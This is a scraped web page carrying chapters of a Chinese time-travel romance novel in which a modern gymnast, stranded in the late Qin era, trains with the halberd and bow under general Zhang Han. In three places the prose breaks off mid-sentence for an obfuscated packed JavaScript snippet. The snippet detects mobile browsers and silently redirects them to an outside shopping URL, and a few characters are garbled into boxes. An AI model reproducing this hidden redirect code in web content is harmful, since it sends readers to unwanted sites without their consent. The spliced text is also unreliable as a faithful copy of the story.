我直视他眼眸,言语如锋:“章邯,在这乱世中,我只属于我自己。我不愿成为秦,也不愿成为楚。我不想掺入这无休止的杀戮和仇恨。我救悺阳,是因为她是我朋友,仅此而已。我希望你能信我一次。” 章邯沉默地凝视我,眼底如沉潭无波,黑得连一点光都无法映入。他缓缓逼近,低声道:“第一次见你,你身披楚军服,女扮男装,后来我又得知你能预见未来。你说……我要如何相信你?” 他走近我,语气压得极低:“你这一身异能,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实,我对章邯说谎了。 我答应去救悺阳,并非只是为了她的安危,而是想借此机会回到楚军之中。而提出让章邯教我武艺,不过是借势而为。我不愿在这吃人的乱世里,永远任人宰割。 梦中那位老者的话仍在我脑海盘桓: “要活下去,找到那系铃之人,解开这一切。” 至于那被章邯夺走的铜铃……走之前,我自会设法,将它拿回来。 24. 戟 回到帐中,我轻轻脱下衣裙,小心叠放好,随即换回了秦国士兵的普通装束。如今这兵荒马乱的岁月,华丽的衣裙显得格外不合时宜,与眼前的动荡世界格格不入。 次日,当第一缕晨光升起,我就牵着马直奔魏王府邸。自魏咎身死后,章邯与几位将领便暂时入住了这里,而魏氏的其他家眷已被迁至别处。 府外重兵把守,我很快就认出了吴梗。他愣了半晌,才终于回过神来,略显惊讶地问道:“仪风姑娘,你怎么来了?上将军还在休息。” 我笑了笑,轻声道:“你一夜未曾合眼吧?若你累了,不如让我来替你守着,你先回去歇息。” 他犹豫了片刻,终于开口:“但你毕竟是女子,若将军知道了,恐怕会责罚我。” 我心头一阵不满,冷冷地道:“女子怎么了?之前那场战役中,同你们一起出生入死的仪风也是女子。难道只是因为我昨日让你知道了我是女子的模样,今日你便要否认我曾与你们一同行军打仗的事实吗?” 他沉默不语。 我没有停顿,继续道:“既然上将军还在休息,那我就在这等着便是。” “你有时间在这浪费,还不如去练兵场。”话音未落,府邸的大门被突然推开,章邯身着黑甲,缓步走了出来。他的眉眼总是带着锋芒,坚毅中不乏一丝傲慢。他走到我面前,手腕上的铜铃声随之响起。我目光不由自主地落在他手腕上,忍不住冷笑:“上将军,您可是秦国赫赫有名的将军,怎么成天戴着这玩意儿,不怕军中将士笑话吗?” 他特意将手腕举到我面前,随意扫了眼,不屑道:“笑话?本将军就喜欢这种小巧又带声响的东西,尤其是戴在手腕上,别有一番风味。” “那你可得当心了,这东西可有灵气。” “有灵气更好,说不定它换个主人,还能变得更有价值。”他傲慢地回应。 我不禁独自喃喃:“别是最后落得与我一般下场……” 他忽然拍了拍我的脑门,迅速从我手中夺过缰绳,跃身上马,调头便走。我无奈只得追着他,边跑边喊:“章邯,你等等我!” 只听他发出一阵爽朗的笑声,回过头喊道:“半刻钟内若不出现在练兵场,你今晚就别想吃饭。” “可我的马被你抢走了!” “你不是还有腿吗?跑过去不就行了。” “章邯!”我仰天怒吼。无奈之下,只能气喘吁吁地独自跑向练兵场。 当我跑到练兵场附近时,太阳已褪去了羞怯的光辉,毫不掩饰地洒下耀眼的光芒。空气中弥漫着灰蒙的沙尘,随手一挥,便沾满了尘土。远远地,我便听见从练兵场传来的整齐口号和枪戟碰撞的声音。我加快步伐朝着声音的方向跑去,不久便见到一座由木头搭建的高台上,站着一位英姿飒爽的身影。烈日直射下,那身黑色甲胄反射着金色的光辉。 他立于高台之上,俯瞰着下方成千上万的将士。对于我而言,脚下这数万黑衣军士,仿佛形成了一阵阵被狂风卷起的黑浪,随着整齐划一的枪法,爆发出一种吞噬天地的震撼力量。秦军的这番阵势,让我仿佛看到了当年秦朝一统六国时的辉煌景象。这个历史上第一个统一中国的朝代,亦为后世带来无数惊叹与谜题的朝代,真的就在这如此短的时间走向落幕了吗?今日,历史的风似乎从远古吹过未来,又从未来回到了远古,我们在这错位的时空中,彼此默默发问。 我似乎不自觉地走进了练兵场,就像当年参观兵马俑一样,目光追随着那些会动的人俑,竟然全然忘却了自己身处的时空。突然,一支飞箭迎面而来,恰巧插入我的眼前,差之毫厘,我便要命丧于此地。我抬起头,正好撞上那道隐匿于烈日中的身影。他从金光之中渐渐走出,耀眼的黑甲胄在阳光下尽显锋芒,与他那双冷厉又傲骨的眉眼相得益彰。 他厉声道:“我大秦军规,向来森严!将士为军,须以命守时,如守山河。锱铢必较,分秒必争,不得流连草莽,误我军机。违令者,轻则当场责罚,重者——可斩!” 我想,眼前这个章邯,才应是史书中那些冰冷字句背后真正的章邯吧。他的声音如铁石掷地,我竟被那支横飞而来的利箭吓得倒退了两步。而四周,已有上千双目光投向我,如风刀霜剑般带着审判与质疑。气势逼人,足以令人喘不过气来。 但我心中却不服,抬头望向高台之上,迎着那道冷冽目光反驳道:“我并未迟到误事。恰恰相反,我天未亮便起身,为今日训练早早做了准备。明明是将军你半路拦下了我的马,使我只能徒步跑了好几里才赶来此地。若将军执意要将责任归于我,那我斗胆请问,将军今日之举,是否也算蓄意拦阻,将军机视作儿戏?” 话音刚落,便听得四周一片哗然。我心中仍不服,继续道:“若将军执意定我之罪,那不知,那个横加阻拦、延误军机之人,可算是始作俑者?” 话音未落,一个黑影自高台上凌空跃下,重重落在我眼前。章邯身披黑甲,眉眼间压着一丝难以遏制的怒意,冷声道:“可惜战场之上,从不给你狡辩的时间。任务既落在你手中,成败唯你一人担。” “可是,明明是你——” “没有可是!”他厉声打断,“若我今日是敌军所派的细作,故意延误我方军机,你是不是也要冲着敌人问责?若真如此,你便成了军中最大的笑话,及罪人。” 我咬紧牙关,不再言语。也许我确实尚未学会如何真正置身于这时代中,却也无法否认他说的事实。毕竟,我生于和平盛世,是个被时代温柔包裹的未来人,自幼远离战争,自然难以真正理解它的本质。 在我的认知中,战争从不是非黑即白,也没有绝对的胜败或对错。即使是“胜者”,也不过是踩着鲜血与尸骨踏上高位的人罢了。而那些死于乱世的人,难道就不是生命?只不过,我们习惯用“胜利”的名义,美化那柄沾满鲜血的屠刀。 就像我自己,为了苟活,也曾在尸山血海中踉跄而逃。 章邯冷冷地继续道:“念你初犯,今日暂且饶过。但罚你将今日戟法,练满一千遍。练不完,不准踏出练兵场一步!” 话音落下,他猛地朝我掷来一柄长戟,来势凛然。我仓促接住,却被震得后退几步,差点伤了自己。 “可我……不会戟法。”我低声说着。 章邯只是冷冷地瞥了我一眼,未作回应,转身走上高台。 他取出长戟,高声道:“戟法之道,关乎生死存亡。欲精于戟,首当其要—,熟握戟柄,感知分寸与平衡,控其势,驭其锋。” 话音未落,他已高举长戟,反手旋转戟身,步伐随之疾动。长戟在他掌中划出一道锐利轨迹,利落刺出。 “刺杀之术,须快、须准、须狠!不仅要快于敌手,更要出其不意!” 旋即,他一个流畅回身,戟身于头顶旋转一圈,随后猛然下劈。 “挥砍之术,当巧用刃部,精准切割敌人要害,力透筋骨,不容迟疑。” 紧接着,他双手横握长戟,步伐变幻如风,随步伐而调整戟身防御方向。 “防御之道,不止于挡,更在于先机之预判。既可以戟身阻敌,亦能借挥斩断其兵刃。但最重要的,是对长程攻击的掌握。此乃戟法之精髓,亦是融合刺杀、挥砍、防御诸法之大成!” 说罢,只见章邯手中长戟陡然挥舞而起,如电闪雷鸣般在长空中激荡。戟锋划破烈日之下的空气,犹如一道道银光穿云裂风,姿态变幻莫测。他挥动长戟,将刺、砍、防、旋四法糅合如一,每一招都干净利落,力沉千钧,气势如虹。 在烈日之中,他宛如横空出世的战神,一起一落间,仿佛山岳拔地,雷霆贯云。 章邯动作一止,台下士兵纷纷再度挥戟而起,气势比先前更盛数倍,宛如雷霆齐鸣,势如破竹。我也只得手忙脚乱地跟着节奏舞动长戟。只是,这戟对我而言实在太沉,非但无法驾驭它,反倒被它带得东倒西歪。几次旋转下来,我险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512546|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些被自己手中的戟身砸中脑门。 约莫半刻钟过去,士兵们终于停了下来,三三两两散去休息。我正欲随众人一道走下练兵场,却忽听身后一道严厉嗓音:“你,留下。” 我回头一看,正见章邯举着长戟,毫不留情地直指我。只得默默收回脚步。 他冷声道:“一千遍,一遍都不许少!” 我咬咬牙,只好将方才的动作重新从头练起。谁知才刚举起戟,就听章邯喝道: “你这每一招都轻飘飘的,像是在耍花架子!”话音未落,他已用戟身敲了我一记手臂,“再使点劲儿!”我咬牙用尽全力,依照他之前的教法做了个刺杀动作,长戟前探,气力贯注。可下一瞬,他却毫不留情地将我的戟一击打落。 “像你这样软弱无力的招式,早就一招毙命了!” 我蹲身去拾地上的长戟,心中忍不住涌上一丝委屈,低声道:“好歹我也是第一日学,将军就不能多些耐心?” 他却不为所动,冷冷答道:“我从不对无视军规、懈怠训练之人心软。更何况,是你求我教你本事。若连这点苦都吃不住,大可继续做回你的女子,不必受这份罪。” 我顿觉不平,抬头回道:“你大可不必拿这样的话呛我。我虽穿上秦军军服做你的兵士,但我要你知道,我做的这些事,都是以女子之身去做的。我承认男女之力原就有别,我不能一开始便达你所愿,但我会尽全力去练,终有一日,我会让你看到,我并不比你麾下的秦军将士差。” 话音落下,我重新站定,攥紧长戟,尽力按章邯所教的动作,一遍又一遍地重复练习。 不知是动容于我的倔强,还是终于认同我的态度,他的神色终于缓了几分:“若你早这般练,我便不必废那么多口舌。”他顿了顿,又补上一句,“但今日的一千遍,无论如何,你都得练完。” 言罢,他翻身上马,未再多言,扬鞭而去。 正值午时,烈日高悬,天光如火,练兵场上腾起的一阵阵尘沙,也仿佛被烤出了焦味。我一遍又一遍地挥动长戟,在滚烫的阳光下重复着每一个动作。手臂与双腿早已从酸痛变为麻木,衣衫湿透,汗水顺着下颌一滴滴滴落,落在被烈阳晒得发烫的黄土上,转瞬便蒸腾而去。 其实,这样的状态与我曾身为运动员的日子颇有几分相似。它们都需要在高强度的动作重复中,逼近最精准的极限。但戟法的精准,不是为了赢得掌声,而是为了在生死一线间活下来。它不是一场竞赛,它只能赢。因为唯有赢,才有命在。 而为了活命,我怎敢把它当儿戏? 每一次挥戟时,我脑海中便反复映现章邯今日所演示的每一个动作。他每一下刺杀、挥砍、旋转的力道,他的步伐、重心、节奏……我闭上眼,想象自己附体于他,将那杆沉重的长戟真正变成手臂的延伸,仿佛我与它本就是一体。我不再感受到它的沉重,它仿佛是生于我掌中的另一块骨肉,随心所动,自由翻飞。 大概,这就是“征服”的快感。 我越练越兴奋,仿佛终于踏过了某种门槛,原来,这就是习武之人突破第一重困境时的感觉。脚步的移动愈加灵活,呼吸也与动作自然协调。烈阳渐缓,天地间逐渐转为黄昏,再到夜色悄然铺下……而我,早在这一千遍的重复里,忘记了时间的存在。 直到那一刻。 夜色沉静,我忽然听见一阵锐响破空而来……那是一道风被强行划破的声音,极轻,却比长戟穿刺空气时更迅疾,更锋利。 那是箭。 也许是这无数次戟法训练中锤炼出的本能,也许是那一刻神思入定般的直觉,我几乎未及多想,便陡然转身,举戟、挥砍,一气呵成。寒光闪处,只听“铮”的一声,那支箭应声而落,插在我脚旁的黄沙里。 片刻之后,我才后知后觉地察觉,额前的发丝被冷汗浸湿,一丝丝贴在脸侧。 毕竟那支箭,正是直指我眉心而来,毫无犹豫,杀意凌厉。 25. 捉弄 “谁!”我怒声喝道,猛地转身,举戟戒备,“躲在暗处放冷箭,算什么英雄好汉?有本事出来当面对质!” 黑暗中传来一阵低低的笑声。 “倒是没想到,才不过几个时辰,你竟能用戟挡下我的箭。”章邯从夜色中走出,嘴角噙着笑意,神情中带着一丝玩味,“看样子,你也并非一无是处。” 见是他,我绷紧的神经才悄然松了几分。 “上将军果真雅兴高远,竟将背后放冷箭也当作乐趣。”我讽道。 章邯不紧不慢走近,在我脚边弯腰拾起那支被我砍断的箭矢,抬起眉细细端详,“你下手干净利落,毫无犹豫。”他说得颇为满意。 我冷笑一声,“自然。我若胆怯,恐怕现在倒地的就是我了,不是这支箭。” 他低低笑了两声,却忽然从怀中取出一根红绳,又用随身的小刀在箭头处扎了个小孔,将那断裂的箭头穿入绳中。做完这一切,他漫不经心地道:“既然你顺利通过了我的第一关,为师便将这支你亲手砍断的箭头送你,权当礼物。这段日子,就让它替你护身罢。” 话音刚落,一阵清脆的铜铃声在夜色中响起。他抬起手腕,露出那串我熟悉的青铜铃,铃音如水,仿佛带着某种无言的回响。 我接过那枚粗粝的箭头吊坠,微顿了一下,才道:“谢将军。但还请记得你的承诺,等我完成任务那日,便将属于我的东西还我。” 章邯望着我,眼中似有一抹不易察觉的波动,旋即收敛神情,语气沉稳如铁:“把它戴上。” “什么?”我一愣。 “我要你将它戴在脖子上。”他一字一句,缓慢而坚定。 我挑眉,“可我不喜欢把这种玩意儿挂在脖子上。要说护身符,我倒更喜欢你手腕上的那串铜铃。” “这是军令。”他忽然厉声打断我,语气不容置喙。 我只得无奈低头,将红绳绕于颈间。箭头吊坠微凉,带着些许锈迹,在胸前轻轻晃动,与我此刻这副汗湿尘污的模样,竟出奇地相衬。 章邯盯着我看了一眼,嘴角微扬,“怎么看,这东西都比那串叮当响的铃铛更适合你。” 夜风袭来,月色清冷,一轮残月高悬,像一枚淡银色的钩子,静静钩住天幕。风吹得我疲惫的身躯也轻微晃动,似乎连骨头都松弛了几分。忽然,肚中咕噜噜响起几声,我顿时有些尴尬,连忙作揖:“将军,我已按吩咐完成今日一千遍练习。眼下夜已深,末将这就告退。” “你要去哪?”他似是诧异地问道。 我微皱眉,回头答道:“自然是回我的住处。怎的,将军莫不是还有别的吩咐?” 他背着手,仰头望向那轮高悬的残月,语气平静:“本将军还未用膳。” 我一愣,旋即加快语速:“那我更不能耽误将军的贵时。末将这便告退。” 说罢,我脚下一转,正欲匆匆离去,却忽觉身体被一只有力的臂膀从背后猛地揽起。还未来得及挣扎,一股力量已将我整个人掼上马背。那黑马忽而扬蹄,嘶鸣一声,旋即狂奔而去。我在马背上被颠得七晃八晃,正欲怒骂,身后却已被一双强劲的臂膀牢牢锁住。 耳畔传来章邯低沉而不容置喙的声音:“今日藐视军规,一千遍尚不足以惩戒。现在,本将军命你陪我用膳。” 夜风如刀,一路呼啸着掠过我的面颊,像一根根细密的银针,刺得我脸上生疼。身上的衣裳早已汗湿,贴在背脊,黏腻冰冷,而我这副疲惫的身躯早在白日的练习中近乎虚脱,此刻却被他紧紧箍在怀里,毫无挣脱之力。 我咬牙切齿,几乎恨不得此刻就从马背上滚下去算了。 转眼间,那匹在夜色中疾驰的烈马已停在一处山丘之上。一轮清月正当空,月色冷淡而温柔,洒在我们二人肩头,像轻纱,又像未曾落尽的梦。 章邯随意将马拴在一棵老树上,便径自坐在地上,衣摆微扬。他朝我怀里扔来一个还冒着热气的粗粮馒头,外加一块新烤好的肉。随后,他半躺在地,从怀里摸出一壶酒,扬起喉结,便独自饮了起来。 “谢了。”我顺手接过食物,毫不客气地一口馒头一口肉,嚼得认真。 沉默良久,他忽然开口:“你出手不错,倒像是练过的。” 我放下手里的肉,转头看向他。夜色凄迷,月光打在他眼里,似也照不穿那层薄薄的黑雾。 “却是练过一些。”我如实道,“不瞒你说,我以前是艺术体操运动员。” “……运动员?”他皱了下眉,似在努力拼凑陌生的词语。 我想了想,换了个说法:“可以理解为身怀绝技之人,和你们习武之人有几分相像。不过,我们所练的绝技并不用于战场,而是用于比试。与各国之人较量,赢了,便能为国家争得殊荣。” 他静静听着,我便继续道:“譬如说,跑步、射箭、武术,都是我们那个时代的运动技能。练跑步的,叫跑步运动员;练射箭的,就是射箭运动员;武术的,亦是如此。我们还有专门的比赛,用来评判高下。” 章邯若有所思地点头:“倒也有几分道理。那你是练什么的?” “我嘛……”我轻咳一声,带着点羞涩与自豪,“我是艺术体操运动员。听起来文雅,实际上非常辛苦。它有点像跳舞,又远比舞蹈复杂。我要在乐曲中,用绳子、圈、球、棒,还有绸带,做出一连串极其精准的动作,每一秒都不能出错。” “这般复杂?”他眉眼微挑,“难怪今日见你用枪,虽一开始生涩,却进步得极快。” 我咧嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514779|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,略带几分得意:“承蒙将军夸奖。” 章邯似笑非笑地看着我,忽然低声问:“所以……你并非这个时代的人?” 我轻轻点头。 他目光微沉:“那你为何会来到这里?” 我下意识地看了一眼他手腕上的那串铜铃,便抬手指了指:“喏,就是你戴的那个。” 章邯眼中闪过一丝讶异:“是它?” 我点点头,又迟疑地摇了摇头:“其实也不能确定是不是它。但那天,它意外落进水里,我去捞它,结果就……穿越来了。” 他怔了怔,接着放下酒壶,慢慢凑近我,忽然“噗嗤”一声笑了出来。 “你确定你没摔坏脑子?这世上哪来的这等怪诞之事?怕不是你自小有癔症,爹娘没告诉你?” 他一脸调侃地望着我,话音未落,便已摇头大笑,捧腹不止。 我怔怔地看着他,气愤也有些失落,“原来……你不信我。” 说这话时,声音轻了几分,像是失望被夜风一吹,便散了。心中却暗暗腹诽:亏我还跟这人费了这么多唇舌。 他笑得畅快,我却沉默下来,叹了口气,不再辩解。 也是,这般离奇之事,怎能奢望谁都信?他人没当我疯子抓起来,已是天大的仁慈。 不过……韩信为何会信呢?莫不是他是为了哄我开心才信的?罢了……我站起身,拍了拍身上的尘土,转身便欲离去。 他在背后懒洋洋地问:“去哪?” “我累了,想回去歇息。” “我并未打算放你回去歇息。”他语气仍淡淡的,却带着不容置喙的意味。 我皱眉,不解地问:“那将军究竟还有何吩咐?” 他将空酒坛往地上一放,站起身牵马,嘴角微勾,露出一抹意味不明的笑。 “回练兵场,继续练。” 我的脊背顿时僵住,双腿仿佛又重新被灌上铅。正拖着沉重的步伐向前,只见他已一跃上马,居高临下地看了我一眼,眼中笑意不减,却染上一层危险的诡谲。 “还有一刻钟。”他轻描淡写地说道,接着一蹬马腹,扬鞭而去。声音被夜风卷着扔下来,带着几分阴冷和几分玩味:“我要在练兵场见到你。” 我站在原地,望着那匹黑马消失的方向,半晌没动。清月仍悬天际,照着山野也照着疲惫不堪的我。 一刻钟……从这山丘下去赶到练兵场,根本就是不可能完成的事。除非……我疾跑。 我深吸一口气,手不自觉地握紧了拳,指节泛白。一股狠劲自胸口升起,悄然灼烧至全身。既已决定在一月内脱胎换骨,区区苦累,又算得了什么? 今日,他敢让我跑着回去。 他日,我定让他好受! 26. 射雀 之前骑在马上时未曾发觉,这山路竟是这般崎岖。土路狭长,路面凹凸不平,没走几步,便时不时被横在路上的碎石绊住,加之已是入夜,整座山丘黑漆漆一片,除了风吹树梢的沙沙声,四下静得令人心底发怵。 我自小就怕黑,平日睡觉都要彻夜点灯才能安稳入睡,不然总会觉得黑暗里会冒出些什么不该出现的东西。可眼下,荒山野岭中除了那轮透着微光的清月,便什么都没有了。 我有些害怕,可越是停留迟疑,脑子里就越容易冒出些古怪的念头。只得低着头,一股脑地往山下跑。好几次都不小心被坑洼不平的路面和横在中间的碎石绊倒,但我顾不得疼,只盼着能尽快跑到有火光的地方。 终于,不知过了多少分钟,我看见了练兵场上升起的星点火光,心底的恐惧这才稍稍散去,随之而来的,是一阵汹涌的疲软。今日的操练本就耗尽了体力,再加上方才在惊惧驱使下的狂奔,双腿几乎要软得跪倒在地。 我弯腰用双臂撑着膝盖,大口喘息着……还差一点点,就能到练兵场了。虽然不知是否已然超时,但这一程,我确实已拼尽全力。 这一刻,恍惚间仿佛又回到了当年冬训时的场景。那时教练要求我们在体力耗尽的边缘反复突破极限,如今看来,章邯的这点“刁难”,倒也还在我的承受范围之内。 这一路摔了不少跤,衣服上除了满是泥泞,还有被树枝和碎石划破的破口与擦伤,整个人看上去就像是刚逃过荒似的狼狈。我气喘吁吁地跑进练兵场,一抬头,便迎面撞见了章邯。 他身着一袭暗红束腰长衣,手执长弓,双臂交叉,长发以一枚白玉簪高高束起。月色与火光交辉之下,映得他眉眼如刀锋般清晰,英姿挺拔、气势逼人。若不是早知他这人心思深沉、腹黑狡诈,恐怕真要被这副好皮囊骗了去。 他望着我,嘴角勾起一丝冷笑:“你来晚了。” 我累得几乎瘫坐在地,喘着气道:“这山路夜里实在太难走了,中途摔了几跤,这才耽误。” 他微微挑眉:“摔疼了?” 我随意扫了眼身上因衣物破损而露出的几处伤口,“还好,这点皮外伤算不得什么。”说着,又抬头看向他,眼神里隐隐带着挑衅,“说吧,你还有什么任务、惩罚,一并放马过来,我都接得住。” 他忽然俯身蹲下,漆黑的眸子盯着我,语气里带着一丝玩味与揶揄:“怎么?才跑几步就认输了?不打算像白日那样,嘴上功夫也跟我争个高下了?” 我心里忍不住腹诽:这人还真是记仇啊! 脸上却挂着笑,语气尽量和气道:“我哪儿敢与将军争辩。过去没有,以后更不会有。还请将军大人有大量,不与小女子一般见识。” 他勾了勾嘴角,冷眼起身,将怀中的那把长弓随手扔了过来,道:“射个箭来看看,让我瞧瞧你到底有没有长进。” 这把长弓忒沉,他这随手一扔,差点没把我连人带弓砸个跟头。我赶紧稳住身形,郑重地抱住弓身。紧接着,他又随手抛来一支箭,我迅速接住。他微微挑眉,眼神示意我可以开始了。 其实,我是挺喜欢射箭的。在现代时,便常约朋友去射击馆玩,箭术虽不敢说多专业,却也算是小有天赋。十米之□□中靶心,对我而言并非难事。 不过,这种古代的弓与现代射击馆的那种专业弓箭完全不同。章邯给我的这把,不过是寻常木弓,配一根筋弦,结构简陋,全凭射手自身的臂力与技巧,毫无辅助。因此,要想射得精准,可就得真本事上阵了。 我站在以十步为准的距离,将箭搭在弦上。 这弓比我习惯的略长些,拉起来多少有些吃力,但意外的是,我竟没有太多生疏感。手腕、肩膀、呼吸的节奏,竟都像是身体早已记住了这套流程似的,一切顺理成章。 我缓缓拉满弓弦,将箭尖稳稳对准前方那具由稻草扎成的人形靶。 就在这一刻,章邯的声音冷冷响起,仿佛一丝夜风从耳边穿过:“射他的脑袋。” 我微微吸气,顺着他的话,将箭头抬高,与那草人的头部齐平。 一松指,只听“嗖”的一声锐响,那箭宛若流光,破空而去,直直穿透了草人的脑袋,干净利落,没有半分偏差。 “不错。”章邯轻声道,语气里听不出褒贬,“现在,退五十米。我要你射他的心脏。” 我照着他的话,又朝后退了五十米。 风拂过山林,火光在夜色中轻轻摇曳。 我再次将弓拉起——这一回,心里却没了十步时的笃定。距离一远,草人靶似乎都小了一圈,心脏的位置更是朦胧难辨。 我屏声静气,将全部的注意力集中在那个模糊的焦点上。 就在这一刻,脑海中忽然闪过一幕极其清晰的画面:战火纷飞中,一位身披黑色铠甲的将军正与十数名敌军血战。他的剑法凌厉迅捷,每一次挥斩都裹挟着血花飞溅。就在他转身的一瞬,我看到他背后的高坡上,有人骑马高举长弓,正对准他后心。 那一瞬间,我几乎是本能地抬手拉弓。视线穿过风沙与人影,我将箭对准了那个骑手的心脏。 那一箭,似乎凝聚了太多的情绪与直觉,眼前的一切变得沉静而决绝,我甚至能听见自己心跳的声音。 “嗖!”当意识回笼,我才惊觉手中空空,箭早已射出。 练兵场上响起轻轻的掌声,章邯不紧不慢地走来,嘴角勾着似笑非笑的弧度:“没想到你这几日的箭术,竟进步得这样快。” 我怔怔望着他,一时竟有些发懵。 因为我,竟不知自己究竟是什么时候松了手。 难不成……是我与那画面中的“我”一同将那一箭射出的? 我心中一惊,连忙奔向草人靶,只见那草人仰面倒在地上,胸口处没有箭矢,只有一个清晰可见的圆形窟窿,像是被什么利器硬生生穿透。 “我是……将他的心□□穿了吗?”我怔怔地问。 “是啊。”章邯的语气仍旧漫不经心。 “我竟……有这样的本事?”我低声呢喃,语气里带着几分难以置信。 “怎么,才中一箭,你就开始得意了?”章邯眸色一沉,语气忽然带上几分冷意。 “那也不至于。”我忙道,“我知道将军本事远胜于我,想让我练的,肯定还不止于此。” 他这才微微勾唇,神情中多了一丝高傲的笑意。 “还记得那夜你错失的飞鸟吗?”他抬头望向夜空,目光如刃,“夜虽深,但此地山中常有鸟群盘旋。若你能在一炷香之内,射下十只飞雀,我便放你回屋歇息,如何?” “十只飞雀?”我瞪大眼睛,“可这夜里,鸟儿飞得又高,我怎能看得清?” 他听罢,只是轻轻耸了耸肩,唇角仍挂着那抹似笑非笑的意味:“你既说要我教,那便得诚心接受我的方式。” 我咬牙切齿地瞪向他,压着心中的那口气,硬声道:“既是如此,那我还要多谢将军赐教了。” 他眨了眨眼,竟像被我的语气逗乐了似的,凑近我,低声笑道:“不必言谢。” 说罢,打了个哈欠,伸了个懒腰,身形松散地做出一副慵懒模样:“本将军也有些乏了,先回营帐歇一会儿,一炷香之后,再来检验你的战果。” 语毕,拂袖而去,步履悠然,丝毫不顾我是否真能完成这不近人情的任务。 我孤零零地站在练兵场中央,抬头望向那片连星光都显得稀薄的夜空。风掠过耳边,带着野地里枯枝吹动的声响,四周空寂得让人几乎听见自己的心跳。黑沉沉的天幕里,不见一只鸟影。 我苦笑着,举起手中的长弓,对准那无边的墨夜,试探着放出一箭。箭飞出去后无声无息地没入黑暗,连落在哪里都不知晓。我叹了口气,又连续放出几箭。既然章邯说这天上常有鸟群,说不定百箭齐发后,也能误打误中几只吧? 正当我百无聊赖地、近乎赌气般朝夜空射出十几支箭之后,忽然,身后的树丛里传来“簌簌”的声响——像是脚步,又像是有什么东西从草叶间穿过。 我顿时停下了拉弓的动作,屏息凝神望去。可夜太黑,看不清。 没过多久,那脚步声停了,随即传来的是两名男子低低的谈话声,声音不大,却清晰地传进我耳中。 只听一男子带着几分感慨道:“王离,你说这少荣也太不懂怜香惜玉了,竟真能狠得下心来,这般磋磨一个弱女子。” 只听王离声音冷淡:“她可不是弱女子,她是楚女。” 那男子又道:“可看她那笨手笨脚拉弓的样子,她也配当楚国的细作?” 王离冷冷地哼了一声:“美人计,也未必不能用。” 男子笑了 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此时夜已深沉,四周又极为偏僻,无人烟,无光亮,只有风穿林梢的呼啸声和几声奇怪的兽类爬行窜动声。我举起手中火把在夜空中虚晃了几下,虽能照见些许事物,但能见度依旧极低。心中暗自埋怨:“等回去一定得好好研究下手电筒、长明灯什么的,不然实在太不方便了。” 一个人独自进林风险极大,说不定命都搭进去。我思索片刻,灵机一动,取出弓箭,毫不犹豫地朝树林深处射去。果不其然,片刻间,百鸟惊飞,空荡的夜空顿时密密麻麻地盘旋起鸟群。 趁此良机,我连连发箭。然而飞鸟速度极快,四处散逃,刚对准一只,眨眼间又消失无踪,几箭皆落空。 我心生气馁,加之光线昏暗,根本无法准确聚焦一只鸟,只能徒劳射出数箭,依旧未中。 然而,天上的鸟群渐渐安静下来,陆续飞回林中,夜空又恢复了寂寥。 我悻悻地瘫坐在草地上,心中却不甘于疲惫,开始认真分析高空射击的关键要领。毕竟,作为一名运动员,最难做到的就是半途而废。我可以承认自己技不如人,但那必须是在拼尽全力之后,否则我绝不会甘心服输。 我开始将艺术体操中的器械抛接动作搬到脑海中:比如,一个视线外抛球的动作,球在空中飞扬时,我迅速完成两个前滚翻,再用视线之外的腿夹球接住。在这一连串动作中,除了精准的抛接,最关键的还有抛物线的弧度、反应速度和对球落点的预判,才能在眼睛无法直接看到的情况下完成接球。 射中一个不停飞动的鸟儿,无疑更加艰难。但难度虽高,总有共通之处。若把鸟比作一个球,它同样有起飞、爬升、降落和平飞的轨迹。虽然夜色朦胧,难以用眼睛精准捕捉,但只要抓住一个飞行节点,专注训练反应和预判,便有可能有所突破。 怀着这样的想法,我又拿起弓箭,决定尝试这种方法。 我再次将箭射向林深处,紧盯着鸟群中一只正在缓慢爬升的鸟,将箭瞄准略高于它飞行轨迹的位置,猛然射出。 这一次,我看到箭受了些阻力,坠落在离我几米之外的草丛中。 我立即跑去拾箭,仔细查看箭头,只见上面粘着几滴新鲜的血迹,大概是擦伤了某只鸟儿。心中顿时暗喜,这方法果然奏效,信心也随之大增。 于是,我便不厌其烦地反复练习预判射击。任凭风吹草动,我的心都如止水般平静,只等待着那一刻箭发出。时间在悄然流逝,我忘了多久过去了——从射中第一只鸟,渐渐地到了第五只,第十只……手中的弓弦几乎未曾停歇,那拉弦的手指甚至被磨出了血泡,但随着战果不断增加,我的兴奋也愈发强烈。 教练曾说过,我并不是那种天资聪颖、一下子就能学会的人,可我极其有韧劲,甚至有些偏执。我会反复钻研,千百次不厌其烦地练习。一旦掌握了某个动作,就会牢牢掌控,难以失败。射箭亦是如此。虽然一开始困难重重,但到后来,我几乎是连发连中。 直到箭笼空空如也,脚边中箭倒下的飞雀已逾数十只,我这才心满意足地停下。 晨光微微升起,我看着那双带血的手,内心涌上一股说不出的满足感,仿佛整夜的疲惫都变得极其有意义。 